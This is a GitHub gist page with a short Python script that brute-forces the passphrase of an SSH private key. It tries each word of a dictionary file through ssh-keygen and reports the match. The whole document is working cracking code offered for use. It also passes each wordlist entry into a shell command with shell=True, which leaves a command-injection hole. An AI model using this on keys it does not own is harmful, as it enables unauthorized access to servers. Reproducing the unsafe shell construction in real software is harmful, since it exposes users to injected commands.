Skip to content

Instantly share code, notes, and snippets.

@gmolveau
Last active January 19, 2019 14:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gmolveau/80e946bcbe1b50a6a2961de3c14d0dc1 to your computer and use it in GitHub Desktop.
Save gmolveau/80e946bcbe1b50a6a2961de3c14d0dc1 to your computer and use it in GitHub Desktop.
Python ssh passphrase dictionary bruteforce
import subprocess
import sys
def main():
dictionary = sys.argv[1]
with open(dictionary, "r") as dic:
for line in dic:
word = line.rstrip('\n')
stdout = subprocess.call(
'ssh-keygen -c -C "user@server" -P "{0}" -f "./id_rsa"'.format(word),
stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
shell=True
)
if stdout == 0:
print("Password found: " + word)
return
print("Password not found.")
if __name__ == "__main__":
if len(sys.argv) == 2:
main()
else:
print("missing args")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment